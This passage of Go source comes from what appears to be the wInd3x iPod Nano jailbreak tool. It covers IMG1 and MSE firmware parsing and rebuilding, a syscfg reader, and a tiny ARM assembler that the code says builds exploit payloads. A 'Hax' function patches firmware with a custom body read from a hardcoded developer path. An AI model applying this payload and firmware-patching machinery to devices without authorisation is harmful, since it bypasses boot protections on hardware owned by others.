% 16) != 0 {\n\t\tpad := bytes.Repeat([]byte{0}, 16-(len(body)%16))\n\t\tbody = append(body, pad...)\n\t}\n\n\tformat := FormatX509Signed\n\tsigLength := 0x80\n\tcertLength := 0x300\n\tvar version [3]byte\n\tif dk == devices.Nano3 {\n\t\tcopy(version[:], []byte(\"1.0\"))\n\t\tformat = FormatSigned\n\t\tsigLength = 0\n\t\tcertLength = 0\n\t} else {\n\t\tcopy(version[:], []byte(\"2.0\"))\n\t}\n\n\t// Start off with the header.\n\thdr := &IMG1Header{\n\t\tMagic:            magic,\n\t\tVersion:          version,\n\t\tFormat:           format,\n\t\tEntrypoint:       entrypoint,\n\t\tBodyLength:       uint32(len(body)),\n\t\tDataLength:       uint32(len(body) + sigLength + certLength),\n\t\tFooterCertOffset: uint32(len(body) + sigLength),\n\t\tFooterCertLength: uint32(certLength),\n\t}\n\tif err := binary.Write(buf, binary.LittleEndian, hdr); err != nil {\n\t\treturn nil, fmt.Errorf(\"could not serialize header: %w\", err)\n\t}\n\n\t// Pad to 0x600/0x800/0x400.\n\tpad := 0x600\n\tswitch dk {\n\tcase devices.Nano3:\n\t\tpad = 0x800\n\tcase devices.Nano7, devices.Nano7Late:\n\t\tpad = 0x400\n\t}\n\tbuf.Write(bytes.Repeat([]byte{0}, pad-buf.Len()))\n\n\t// Add body.\n\tbuf.Write(body)\n\n\t// Add unused signature.\n\tbuf.Write(bytes.Repeat([]byte{'S'}, sigLength))\n\n\t// Add unused certificates.\n\tbuf.Write(bytes.Repeat([]byte{'C'}, certLength))\n\n\treturn buf.Bytes(), nil\n}\n\ntype IMG1 struct {\n\tHeader     IMG1Header\n\tDeviceKind devices.Kind\n\tBody       []byte\n}\n\nvar (\n\tErrNotImage1 = errors.New(\"Not an IMG1 file\")\n)\n\nfunc Read(r io.ReadSeeker) (*IMG1, error) {\n\tvar hdr IMG1Header\n\tif err := binary.Read(r, binary.LittleEndian, &hdr); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to read header: %w\", err)\n\t}\n\tvar kind devices.Kind\n\tfor _, k := range []devices.Kind{devices.Nano3, devices.Nano4, devices.Nano5, devices.Nano6, devices.Nano7, devices.Nano7Late} {\n\t\tif bytes.Equal(hdr.Magic[:], []byte(k.SoCCode())) {\n\t\t\tkind = k\n\t\t\tbreak\n\t\t}\n\t}\n\tif kind.String() == \"UNKNOWN\" {\n\t\treturn nil, ErrNotImage1\n\t}\n\n\tif kind == devices.Nano3 {\n\t\tif !bytes.Equal(hdr.Version[:], []byte(\"1.0\")) {\n\t\t\treturn nil, fmt.Errorf(\"unsupported image version %q\", hdr.Version)\n\t\t}\n\t} else {\n\t\tif !bytes.Equal(hdr.Version[:], []byte(\"2.0\")) {\n\t\t\treturn nil, fmt.Errorf(\"unsupported image version %q\", hdr.Version)\n\t\t}\n\t}\n\n\thdrSize := int64(0x600)\n\tswitch kind {\n\tcase devices.Nano3:\n\t\thdrSize = 0x800\n\tcase devices.Nano7, devices.Nano7Late:\n\t\thdrSize = 0x400\n\t}\n\tif _, err := r.Seek(hdrSize, io.SeekStart); err != nil {\n\t\treturn nil, fmt.Errorf(\"could not seek past header\")\n\t}\n\n\tslog.Info(\"Parsed image.\", \"kind\", kind)\n\n\tbody := make([]byte, hdr.BodyLength)\n\tif _, err := r.Read(body); err != nil {\n\t\treturn nil, fmt.Errorf(\"could not read body\")\n\t}\n\n\t// Ignore the rest of the fields, whatever.\n\n\treturn &IMG1{\n\t\tHeader:     hdr,\n\t\tDeviceKind: kind,\n\t\tBody:       body,\n\t}, nil\n}\n"
  },
  {
    "path": "pkg/mse/modifications.go",
    "content": "package mse\n\nimport (\n\t\"bytes\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/image\"\n)\n\nfunc (m *MSE) FileByName(n string) *File {\n\tfor _, fi := range m.Files {\n\t\tif fi.Header.Name.String() == n {\n\t\t\treturn fi\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (m *MSE) Hax() error {\n\tosos := m.FileByName(\"osos\")\n\tdisk := m.FileByName(\"disk\")\n\tosos.Header.Name.Set(\"disk\")\n\tdisk.Header.Name.Set(\"osos\")\n\n\trsrc := m.FileByName(\"rsrc\")\n\tfmt.Println(hex.Dump(rsrc.Data[:0x100]))\n\timg1, err := image.Read(bytes.NewReader(rsrc.Data))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\trsrcNew := make([]byte, len(rsrc.Data))\n\tcopy(rsrcNew[:], rsrc.Data)\n\n\tbody := img1.Body\n\tos.WriteFile(\"/tmp/rsrc.bin\", body, 0600)\n\tbody, _ = os.ReadFile(\"/home/q3k/Projects/freemyipod/nano7g/rsrc.bin\")\n\n\tcopy(rsrcNew[0x400:0x400+len(body)], body)\n\n\trsrc.Data = rsrcNew\n\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/mse/mse.go",
    "content": "// Package mse implements parsing and unparsing of 'MSE' firmware bundle files,\n// as seen in iPod firmware IPSWs.\n//\n// There is no spec for this format, and a lot of it seems to just be ad-hoc\n// modified between generations. This library is designed to unparse files from\n// all devices and be able to re-emit them while maintaining all the\n// peculiarities of that generation's sub-format.\n//\n// Reference: http://www.ipodlinux.org/Firmware.html\npackage mse\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"strings\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n)\n\n// MSE firmware bundle, contains files. These should only be constructed from\n// calling the Parse function.\ntype MSE struct {\n\t// Guard which contains copyright header.\n\tGuard string\n\n\t// The global volume/firmware header.\n\tVolumeHeader *VolumeHeader\n\n\t// Individual files.\n\tFiles []*File\n\n\t// Guessed device kind.\n\tDeviceKind devices.Kind\n}\n\n// Firmware file, eg. osos or disk,.\ntype File struct {\n\t// Header, parsed directly from binary format.\n\tHeader *FileHeader\n\n\t// PrefixHeader is set for some versions (N4G+) and some files, and is\n\t// effectively a light 'wrapper' around the file itself. If set during\n\t// parse, it will also be used during unparsing.\n\tPrefixHeader *PrefixHeader\n\n\t// Data kept in the file, eg. an IMG1 image or FAT16 filesystem.\n\tData []byte\n}\n\ntype PrefixHeader struct {\n\tZero1 uint32\n\tUnk1  uint32\n\tZero2 uint32\n\tZero3 uint32\n\tZero4 uint32\n\tSize  uint32\n}\n\ntype FourCC uint32\n\nfunc (f *FourCC) String() string {\n\tdata := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(data, uint32(*f))\n\treturn string(data)\n}\n\nfunc (f *FourCC) Set(s string) {\n\tdata := []byte(s)\n\tif len(data) != 4 {\n\t\tpanic(fmt.Sprintf(\"invalid fourcc: %q\", s))\n\t}\n\tvar u uint32\n\tbinary.Read(bytes.NewReader(data), binary.BigEndian, &u)\n\t*f = FourCC(u)\n}\n\ntype VolumeHeader struct {\n\tID                   FourCC\n\tDirectoryOffset      uint32\n\tExtendedHeaderOffset uint16\n\tVersion              uint16\n}\n\ntype FileHeader struct {\n\t// NAND or ATA!\n\tTarget FourCC\n\t// osos or disk or ...\n\tName FourCC\n\t// 0 for most files, 1 for an 'used' aupd.\n\tUsed uint32\n\t// Offset within the MSE.\n\tOffset uint32\n\t// Length of the data contained. This well be recalculated to the file's\n\t// Data field length on unparse.\n\tLength uint32\n\n\t// All the following fields are just copied from the old iPodLinux wiki\n\t// article, and their exact function is not exactly tested.\n\tAddress     uint32\n\tEntry       uint32\n\tChecksum    uint32\n\tVersion     uint32\n\tLoadAddress uint32\n}\n\nfunc (f *FileHeader) Valid() bool {\n\tif f.Target.String() == \"NAND\" {\n\t\treturn true\n\t}\n\tif f.Target.String() == \"ATA!\" {\n\t\treturn true\n\t}\n\treturn false\n}\n\nfunc guessGeneration(r io.ReadSeeker) (devices.Kind, error) {\n\t// Terrible hack! MSE files seem to have have slightly different packing\n\t// semantics between device versions, but don't have any metadata that would\n\t// tell us the device version.\n\t//\n\t// Easiest way to detect a version, pre-parse, is to count IMG1 header\n\t// fragments. This is obviously a terrible heuristic, but it works for now.\n\n\theaders := map[devices.Kind]string{\n\t\tdevices.Nano3:     devices.Nano3.SoCCode() + \"1.0\",\n\t\tdevices.Nano4:     devices.Nano4.SoCCode() + \"2.0\",\n\t\tdevices.Nano5:     devices.Nano5.SoCCode() + \"2.0\",\n\t\tdevices.Nano6:     devices.Nano6.SoCCode() + \"2.0\",\n\t\tdevices.Nano7:     devices.Nano7.SoCCode() + \"2.0\",\n\t\tdevices.Nano7Late: devices.Nano7Late.SoCCode() + \"2.0\",\n\t}\n\tif _, err := r.Seek(0, io.SeekStart); err != nil {\n\t\treturn devices.Nano3, err\n\t}\n\td, err := io.ReadAll(r)\n\tif err != nil {\n\t\treturn devices.Nano3, err\n\t}\n\n\tbest := devices.Nano3\n\tbestCount := 0\n\tfor k, s := range headers {\n\t\tcount := bytes.Count(d, []byte(s))\n\t\tif count > bestCount {\n\t\t\tbestCount = count\n\t\t\tbest = k\n\t\t}\n\t}\n\n\tif bestCount == 0 {\n\t\treturn devices.Nano3, fmt.Errorf(\"did not find any SoC codes\")\n\t}\n\treturn best, nil\n}\n\nfunc Parse(r io.ReadSeeker) (*MSE, error) {\n\tgen, err := guessGeneration(r)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not guess device generation: %w\", err)\n\t}\n\tlog.Printf(\"Parsing MSE for (guessed) generation: %s\", gen.String())\n\n\tr.Seek(0, io.SeekStart)\n\tguardB := make([]byte, 0x100)\n\tif _, err := io.ReadFull(r, guardB); err != nil {\n\t\treturn nil, fmt.Errorf(\"could not read guard\")\n\t}\n\tguard := string(guardB)\n\tif !strings.Contains(guard, \"Copyright\") || guardB[0xff] != 0 {\n\t\treturn nil, fmt.Errorf(\"not a valid MSE file\")\n\t}\n\n\tvar vh VolumeHeader\n\tif err := binary.Read(r, binary.LittleEndian, &vh); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to read volume header: %w\", err)\n\t}\n\tif vh.ID.String() != \"[hi]\" {\n\t\treturn nil, fmt.Errorf(\"invalid volume header id\")\n\t}\n\tif vh.DirectoryOffset != 0x4000 {\n\t\treturn nil, fmt.Errorf(\"unexpected directory offset %x\", vh.DirectoryOffset)\n\t}\n\tif vh.ExtendedHeaderOffset != 0x10c {\n\t\treturn nil, fmt.Errorf(\"unexpected extended header offset %x\", vh.ExtendedHeaderOffset)\n\t}\n\tif vh.Version != 3 {\n\t\treturn nil, fmt.Errorf(\"unexpected version %d\", vh.Version)\n\t}\n\n\tpadStart, _ := r.Seek(0, 1)\n\tpad := make([]byte, 0x5000-padStart)\n\tif _, err := io.ReadFull(r, pad); err != nil {\n\t\treturn nil, fmt.Errorf(\"could not read padding\")\n\t}\n\tif !bytes.Equal(pad, bytes.Repeat([]byte{0}, len(pad))) {\n\t\treturn nil, fmt.Errorf(\"invalid padding\")\n\t}\n\n\tvar files []*File\n\tfor i := 0; i < 16; i++ {\n\t\tvar fh FileHeader\n\t\tif err := binary.Read(r, binary.LittleEndian, &fh); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to read file header: %w\", err)\n\t\t}\n\t\tfiles = append(files, &File{\n\t\t\tHeader: &fh,\n\t\t})\n\t}\n\n\tfor i, file := range files {\n\t\tif !file.Header.Valid() {\n\t\t\tcontinue\n\t\t}\n\t\tif _, err := r.Seek(int64(file.Header.Offset), io.SeekStart); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"could not seek to file %s at %x\", file.Header.Name.String(), file.Header.Offset)\n\t\t}\n\n\t\t// Try to read PrefixHeader, adjust start offset if present.\n\t\tvar header PrefixHeader\n\t\tif err := binary.Read(r, binary.LittleEndian, &header); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"could not read optional file header: %v\", err)\n\t\t}\n\t\tvalid := true\n\t\tif header.Zero1 != 0 {\n\t\t\tvalid = false\n\t\t}\n\t\tif header.Unk1 != 0 && header.Unk1 != 4 {\n\t\t\tvalid = false\n\t\t}\n\t\tif header.Zero2 != 0 {\n\t\t\tvalid = false\n\t\t}\n\t\tif header.Zero3 != 0 {\n\t\t\tvalid = false\n\t\t}\n\t\tif header.Zero4 != 0 {\n\t\t\tvalid = false\n\t\t}\n\n\t\tlength := file.Header.Length\n\t\tif gen == devices.Nano3 {\n\t\t\tlength += 0x1000\n\t\t}\n\n\t\tstart := int64(file.Header.Offset)\n\t\tif valid {\n\t\t\tfile.PrefixHeader = &header\n\t\t\tstart += 0x1000\n\t\t}\n\t\tlog.Printf(\"File %d: %s, offset %x, len %x, prefix: %v\", i, file.Header.Name.String(), file.Header.Offset, file.Header.Length, valid)\n\n\t\t// Read main data.\n\t\tif _, err := r.Seek(start, io.SeekStart); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"could not seek to file %s at %x\", file.Header.Name.String(), start)\n\t\t}\n\t\tfile.Data = make([]byte, length)\n\t\tif _, err := io.ReadFull(r, file.Data); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"could not read file %s: %v\", file.Header.Name.String(), err)\n\t\t}\n\t}\n\n\tm := MSE{\n\t\tGuard:        guard,\n\t\tVolumeHeader: &vh,\n\t\tFiles:        files,\n\t\tDeviceKind:   gen,\n\t}\n\n\treturn &m, nil\n}\n\nfunc (m *MSE) Serialize() ([]byte, error) {\n\tbuf := bytes.NewBuffer(nil)\n\tbuf.WriteString(m.Guard)\n\n\t// Calculate sizes and offsets for all files.\n\tvar sectionSizes []int\n\tfor _, fi := range m.Files {\n\t\tif !fi.Header.Valid() {\n\t\t\tcontinue\n\t\t}\n\t\tlength := len(fi.Data)\n\t\tfi.Header.Length = uint32(length)\n\t\tif ph := fi.PrefixHeader; ph != nil {\n\t\t\t// The 'prefix header' length seems to always be the length, but\n\t\t\t// aligned to 16 bytes.\n\t\t\tph.Size = uint32(length)\n\t\t\tif ph.Size%16 != 0 {\n\t\t\t\tph.Size += 16 - (ph.Size % 16)\n\t\t\t}\n\t\t}\n\n\t\tif m.DeviceKind == devices.Nano3 {\n\t\t\tfi.Header.Length -= 0x1000\n\t\t}\n\n\t\tif ph := fi.PrefixHeader; ph != nil {\n\t\t\tlength += 0x1000\n\t\t}\n\t\tif (length % 0x1000) != 0 {\n\t\t\tlength += (0x1000 - (length % 0x1000))\n\t\t}\n\t\tsectionSizes = append(sectionSizes, int(length))\n\t}\n\toffs := 0x6000\n\tvar sectionOffsets []int\n\tfor _, size := range sectionSizes {\n\t\tsectionOffsets = append(sectionOffsets, offs)\n\t\toffs += size\n\t}\n\tsectionOffsets = append(sectionOffsets, offs)\n\n\tbinary.Write(buf, binary.LittleEndian, m.VolumeHeader)\n\t// Pad to 0x5000\n\tpad := 0x5000 - buf.Len()\n\tbuf.Write(bytes.Repeat([]byte{0}, pad))\n\n\tfor i, fi := range m.Files {\n\t\theader := *fi.Header\n\t\tif header.Valid() {\n\t\t\theader.Offset = uint32(sectionOffsets[i])\n\t\t}\n\t\tbinary.Write(buf, binary.LittleEndian, header)\n\t}\n\n\tfor i, fi := range m.Files {\n\t\tif !fi.Header.Valid() {\n\t\t\tcontinue\n\t\t}\n\t\t// Pad to start of file.\n\t\tpad = sectionOffsets[i] - buf.Len()\n\t\tif pad < 0 {\n\t\t\treturn nil, fmt.Errorf(\"file %d padding too long (%d too long)\", i-1, -pad)\n\t\t}\n\t\tbuf.Write(bytes.Repeat([]byte{0}, pad))\n\t\t// Write file data.\n\t\tif ph := fi.PrefixHeader; ph != nil {\n\t\t\tbinary.Write(buf, binary.LittleEndian, ph)\n\t\t\tbuf.Write(bytes.Repeat([]byte{0x00}, 0x200-6*4))\n\t\t\tbuf.Write(bytes.Repeat([]byte{0xff}, 0xe00))\n\t\t}\n\t\tbuf.Write(fi.Data)\n\t\t// Pad to next offset.\n\t\tpaddingLen := sectionOffsets[i+1] - buf.Len()\n\t\tbuf.Write(bytes.Repeat([]byte{0}, paddingLen))\n\t}\n\n\treturn buf.Bytes(), nil\n}\n"
  },
  {
    "path": "pkg/syscfg/syscfg.go",
    "content": "package syscfg\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"io\"\n)\n\ntype Header struct {\n\tTag    Tag\n\tSize   uint32\n\tUnk1   uint32\n\tUnk2   uint32\n\tUnk3   uint32\n\tNumKVs uint32\n}\n\ntype Tag [4]byte\n\nfunc (t Tag) String() string {\n\treturn string([]byte{\n\t\tt[3], t[2], t[1], t[0],\n\t})\n}\n\ntype handler func(r io.Reader) *Values\n\ntype Values struct {\n\t// SrNm is the serial number.\n\tSrNm string\n\t// FwId is the firmware ID.\n\tFwId []byte\n\t// HwId is the hardware ID.\n\tHwId []byte\n\t// HwVr is the hardware version.\n\tHwVr []byte\n\t// SwVr is the software version.\n\tSwVr string\n\t// MLBN is the main logic board (serial) number.\n\tMLBN string\n\t// ModN is the model number. It should be named Mod#.\n\tModN string\n\t// RegN is the region.\n\tRegn []byte\n}\n\nfunc (v *Values) Debug(w io.Writer) {\n\tfmt.Fprintf(w, \"     SrNm (serial number): %s\\n\", v.SrNm)\n\tfmt.Fprintf(w, \"       FwId (firmware ID): %s\\n\", hex.EncodeToString(v.FwId))\n\tfmt.Fprintf(w, \"       HwId (hardware ID): %s\\n\", hex.EncodeToString(v.HwId))\n\tfmt.Fprintf(w, \"  HwVr (hardware version): %s\\n\", hex.EncodeToString(v.HwVr))\n\tfmt.Fprintf(w, \"  SwVr (software version): %s\\n\", v.SwVr)\n\tfmt.Fprintf(w, \"MLBN (logic board number): %s\\n\", v.MLBN)\n\tfmt.Fprintf(w, \"      Mod# (model number): %s\\n\", v.ModN)\n\tfmt.Fprintf(w, \"            Regn (region): %s\\n\", hex.EncodeToString(v.Regn))\n}\n\nfunc Parse(r io.Reader) (*Values, error) {\n\tvar hdr Header\n\tif err := binary.Read(r, binary.LittleEndian, &hdr); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to read header: %w\", err)\n\t}\n\tif hdr.Tag.String() != \"SCfg\" {\n\t\treturn nil, fmt.Errorf(\"not a syscfg block\")\n\t}\n\n\tvar v Values\n\tfor i := uint32(0); i < hdr.NumKVs; i++ {\n\t\tvar tagB [4]byte\n\t\tif _, err := r.Read(tagB[:]); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to read tag %d header: %w\", i, err)\n\t\t}\n\t\ttag := Tag(tagB)\n\t\t// Data is always 16 bytes long... for now?\n\t\tdata := make([]byte, 16)\n\t\tif _, err := r.Read(data); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to read tag %d data: %w\", i, err)\n\t\t}\n\t\tswitch tag.String() {\n\t\tcase \"SrNm\":\n\t\t\tv.SrNm = string(bytes.TrimRight(data, \"\\x00\"))\n\t\tcase \"FwId\":\n\t\t\tv.FwId = data\n\t\tcase \"HwId\":\n\t\t\tv.HwId = data\n\t\tcase \"HwVr\":\n\t\t\tv.HwVr = data\n\t\tcase \"SwVr\":\n\t\t\tv.SwVr = string(bytes.TrimRight(data, \"\\x00\"))\n\t\tcase \"MLBN\":\n\t\t\tv.MLBN = string(bytes.TrimRight(data, \"\\x00\"))\n\t\tcase \"Mod#\":\n\t\t\tv.ModN = string(bytes.TrimRight(data, \"\\x00\"))\n\t\tcase \"Regn\":\n\t\t\tv.Regn = data\n\t\tdefault:\n\t\t\treturn nil, fmt.Errorf(\"unknown tag %s\", tag.String())\n\t\t}\n\t}\n\treturn &v, nil\n}\n"
  },
  {
    "path": "pkg/uasm/insns.go",
    "content": "package uasm\n\ntype Ldr struct {\n\tinstruction\n\tDest Register\n\tSrc  LoadSource\n}\n\nfunc (l Ldr) hydrate(c *ctx) []byte {\n\tvar res uint32\n\tres |= l.Src.encodeLoadSource(c)\n\tres |= l.Dest.Encode() << 12\n\tres |= 0b111001011001 << 20\n\treturn p32(res)\n}\n\ntype Ldrb struct {\n\tinstruction\n\tDest Register\n\tSrc  LoadSource\n}\n\nfunc (l Ldrb) hydrate(c *ctx) []byte {\n\tvar res uint32\n\tres |= l.Src.encodeLoadSource(c)\n\tres |= l.Dest.Encode() << 12\n\tres |= 0b111001011101 << 20\n\treturn p32(res)\n}\n\ntype Str struct {\n\tinstruction\n\tSrc  Register\n\tDest StoreDest\n}\n\nfunc (s Str) hydrate(c *ctx) []byte {\n\tvar res uint32\n\tres |= s.Dest.encodeStoreDest(c)\n\tres |= s.Src.Encode() << 12\n\tres |= 0b111001011000 << 20\n\treturn p32(res)\n}\n\ntype Strb struct {\n\tinstruction\n\tSrc  Register\n\tDest StoreDest\n}\n\nfunc (s Strb) hydrate(c *ctx) []byte {\n\tvar res uint32\n\tres |= s.Dest.encodeStoreDest(c)\n\tres |= s.Src.Encode() << 12\n\tres |= 0b111001011100 << 20\n\treturn p32(res)\n}\n\ntype Bx struct {\n\tinstruction\n\tDest Register\n}\n\nfunc (b Bx) hydrate(c *ctx) []byte {\n\tvar res uint32\n\tres |= b.Dest.Encode()\n\tres |= 0b1110000100101111111111110001 << 4\n\treturn p32(res)\n}\n\ntype Blx struct {\n\tinstruction\n\tDest Register\n}\n\nfunc (b Blx) hydrate(c *ctx) []byte {\n\tvar res uint32\n\tres |= b.Dest.Encode()\n\tres |= 0b1110000100101111111111110011 << 4\n\treturn p32(res)\n}\n\ntype B struct {\n\tinstruction\n\tCond Condition\n\tDest BranchTarget\n}\n\nfunc (b B) hydrate(c *ctx) []byte {\n\taddr := b.Dest.resolveBranchTarget(c)\n\tpcAddr := c.instrAddr + 8\n\toffset := (int64(addr) - int64(pcAddr)) / 4\n\t// math probably wrong, whatever\n\tif offset > (1<<15) || offset < -(1<<15) {\n\t\tpanic(\"target too far away\")\n\t}\n\n\tvar res uint32\n\tres |= uint32(offset) & ((1 << 24) - 1)\n\tres |= 0b1010 << 24\n\tres |= b.Cond.Encode()\n\treturn p32(res)\n}\n\ntype Mov struct {\n\tinstruction\n\tDest Register\n\tSrc  DataSource\n}\n\nfunc (m Mov) hydrate(c *ctx) []byte {\n\tvar res uint32\n\tres |= m.Src.encodeDataSource(c)\n\tres |= m.Dest.Encode() << 12\n\tres |= 0b1110000110100000 << 16\n\treturn p32(res)\n}\n\ntype And struct {\n\tinstruction\n\tDest  Register\n\tSrc   Register\n\tCompl DataSource\n}\n\nfunc (a And) hydrate(c *ctx) []byte {\n\tvar res uint32\n\tres |= a.Dest.Encode() << 12\n\tres |= a.Src.Encode() << 16\n\tres |= a.Compl.encodeDataSource(c)\n\tres |= 0b111000000000 << 20\n\treturn p32(res)\n}\n\ntype Or struct {\n\tinstruction\n\tDest  Register\n\tSrc   Register\n\tCompl DataSource\n}\n\nfunc (a Or) hydrate(c *ctx) []byte {\n\tvar res uint32\n\tres |= a.Dest.Encode() << 12\n\tres |= a.Src.Encode() << 16\n\tres |= a.Compl.encodeDataSource(c)\n\tres |= 0b111000011000 << 20\n\treturn p32(res)\n}\n\ntype Add struct {\n\tinstruction\n\tDest  Register\n\tSrc   Register\n\tCompl DataSource\n}\n\nfunc (a Add) hydrate(c *ctx) []byte {\n\tvar res uint32\n\tres |= a.Dest.Encode() << 12\n\tres |= a.Src.Encode() << 16\n\tres |= a.Compl.encodeDataSource(c)\n\tres |= 0b111000001000 << 20\n\treturn p32(res)\n}\n\ntype Sub struct {\n\tinstruction\n\tDest  Register\n\tSrc   Register\n\tCompl DataSource\n}\n\nfunc (a Sub) hydrate(c *ctx) []byte {\n\tvar res uint32\n\tres |= a.Dest.Encode() << 12\n\tres |= a.Src.Encode() << 16\n\tres |= a.Compl.encodeDataSource(c)\n\tres |= 0b111000000100 << 20\n\treturn p32(res)\n}\n\ntype Cmp struct {\n\tinstruction\n\tA Register\n\tB DataSource\n}\n\nfunc (m Cmp) hydrate(c *ctx) []byte {\n\tvar res uint32\n\tres |= m.A.Encode() << 16\n\tres |= m.B.encodeDataSource(c)\n\tres |= 0b111000010101 << 20\n\treturn p32(res)\n}\n\ntype Mcr struct {\n\tinstruction\n\tOpc  uint8\n\tCRn  uint8\n\tSrc  Register\n\tCPn  uint8\n\tOpc2 uint8\n\tCRm  uint8\n}\n\nfunc (m Mcr) hydrate(c *ctx) []byte {\n\tvar res uint32\n\tres |= 0b11101110 << 24\n\tres |= uint32(m.Opc) << 21\n\tres |= uint32(m.CRn) << 16\n\tres |= m.Src.Encode() << 12\n\tres |= uint32(m.CPn) << 8\n\tres |= uint32(m.Opc2) << 5\n\tres |= 1 << 4\n\tres |= uint32(m.CRm)\n\treturn p32(res)\n}\n\ntype Mrc struct {\n\tinstruction\n\tOpc uint8\n\t// CRn is the coprocessor register number.\n\tCRn  uint8\n\tDest Register\n\t// CPn is the coprocessor number (eg. CP15).\n\tCPn  uint8\n\tOpc2 uint8\n\t// CRm is the additional coprocessor register number.\n\tCRm uint8\n}\n\nfunc (m Mrc) hydrate(c *ctx) []byte {\n\tvar res uint32\n\tres |= 0b11101110 << 24\n\tres |= uint32(m.Opc) << 21\n\tres |= 1 << 20\n\tres |= uint32(m.CRn) << 16\n\tres |= m.Dest.Encode() << 12\n\tres |= uint32(m.CPn) << 8\n\tres |= uint32(m.Opc2) << 5\n\tres |= 1 << 4\n\tres |= uint32(m.CRm)\n\treturn p32(res)\n}\n"
  },
  {
    "path": "pkg/uasm/operands.go",
    "content": "package uasm\n\n// DataSource is an operand which can be a source of data to a non-memory\n// operation.\ntype DataSource interface {\n\tencodeDataSource(c *ctx) uint32\n}\n\n// LoadSource is an operand which can be a source of data to a memory\n// operation.\ntype LoadSource interface {\n\tencodeLoadSource(c *ctx) uint32\n}\n\n// StoreDest is an operand which can be a destination for a memory operation.\ntype StoreDest interface {\n\tencodeStoreDest(c *ctx) uint32\n}\n\n// Branch target is an operand that can be interpreted as a program address.\ntype BranchTarget interface {\n\tresolveBranchTarget(c *ctx) uint32\n}\n\n// Constant is a 32-bit number that will end up in a constant pool.\ntype Constant uint32\n\nfunc (t Constant) encodeLoadSource(c *ctx) uint32 {\n\tval := uint32(t)\n\taddr := c.AllocateConstant(val)\n\tmd := MemoryDeref{\n\t\tReg:    PC,\n\t\tOffset: offsetForward(c.instrAddr, addr),\n\t}\n\treturn md.encodeLoadSource(c)\n}\n\ntype MemoryDeref struct {\n\tReg    Register\n\tOffset uint16\n}\n\nfunc (m MemoryDeref) encodeLoadSource(c *ctx) uint32 {\n\tif m.Offset >= (1 << 12) {\n\t\tpanic(\"offset too large\")\n\t}\n\n\tvar res uint32\n\tres |= uint32(m.Offset)\n\tres |= m.Reg.Encode() << 16\n\treturn res\n}\n\nfunc (m MemoryDeref) encodeStoreDest(c *ctx) uint32 {\n\tif m.Offset >= (1 << 12) {\n\t\tpanic(\"offset too large\")\n\t}\n\n\tvar res uint32\n\tres |= uint32(m.Offset)\n\tres |= m.Reg.Encode() << 16\n\treturn res\n}\n\nfunc Deref(r Register, offset uint16) MemoryDeref {\n\treturn MemoryDeref{\n\t\tReg:    r,\n\t\tOffset: offset,\n\t}\n}\n\n// Immediate is a data source (for operations like mov, add, etc).\ntype Immediate uint32\n\nfunc (i Immediate) encodeDataSource(c *ctx) uint32 {\n\tval := uint32(i)\n\tencodable := false\n\tif val >= (1 << 11) {\n\t\tfor i := 0; i < 16; i++ {\n\t\t\tm := ((val << uint32(i*2)) | (val >> (32 - uint32(i*2)))) & 0xffffffff\n\t\t\tif m < 256 {\n\t\t\t\tval = (uint32(i) << 8) | m\n\t\t\t\tencodable = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif !encodable {\n\t\t\tpanic(\"unencodable immediate\")\n\t\t}\n\t}\n\tvar res uint32\n\tres |= 1 << 25\n\tres |= val\n\treturn res\n}\n\nfunc (r Register) encodeDataSource(c *ctx) uint32 {\n\tvar res uint32\n\tres |= r.Encode()\n\treturn res\n}\n"
  },
  {
    "path": "pkg/uasm/uasm.go",
    "content": "// package uasm implements a boneless pseudo assembler and linker for ARMv6.\n// It's used to generate payloads for wInd3x without relying on a third-party\n// assembler at runtime, or precompiling payloads.\npackage uasm\n\nimport (\n\t\"fmt\"\n)\n\n// Program is a snippet of ARM code to be run at a given address.\ntype Program struct {\n\tAddress uint32\n\tListing []Statement\n}\n\nfunc (p *Program) Assemble() []byte {\n\tvar size uint32\n\tfor _, l := range p.Listing {\n\t\tsize += l.size()\n\t}\n\n\tctx := ctx{\n\t\tp:         p,\n\t\tinstrAddr: p.Address,\n\n\t\tconstantPoolStart: p.Address + size,\n\t\tconstantPool:      make(map[uint32]uint32),\n\t\tconstantPoolList:  nil,\n\n\t\tlabels: make(map[string]uint32),\n\t}\n\n\t// First pass: labels must be created.\n\tfor _, l := range p.Listing {\n\t\tisize := l.size()\n\t\tl.preprocess(&ctx)\n\t\tctx.instrAddr += isize\n\t}\n\n\t// Second pass: bytes must be emitted.\n\tctx.instrAddr = p.Address\n\tvar res []byte\n\tfor _, l := range p.Listing {\n\t\tisize := l.size()\n\t\tif isize == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tdata := l.hydrate(&ctx)\n\t\tctx.instrAddr += isize\n\t\tres = append(res, data...)\n\t}\n\n\tfor _, c := range ctx.constantPoolList {\n\t\tres = append(res, p32(c)...)\n\t}\n\n\treturn res\n}\n\ntype Register int\n\nconst (\n\tR0 Register = 0\n\tR1 Register = 1\n\tR2 Register = 2\n\tR3 Register = 3\n\tR4 Register = 4\n\tSP Register = 13\n\tLR Register = 14\n\tPC Register = 15\n)\n\nfunc (r Register) Encode() uint32 {\n\treturn uint32(r)\n}\n\ntype Condition string\n\nconst (\n\tAL Condition = \"\"\n\tNE Condition = \"NE\"\n)\n\nfunc (c Condition) Encode() uint32 {\n\tswitch c {\n\tcase AL:\n\t\treturn 0b1110 << 28\n\tcase 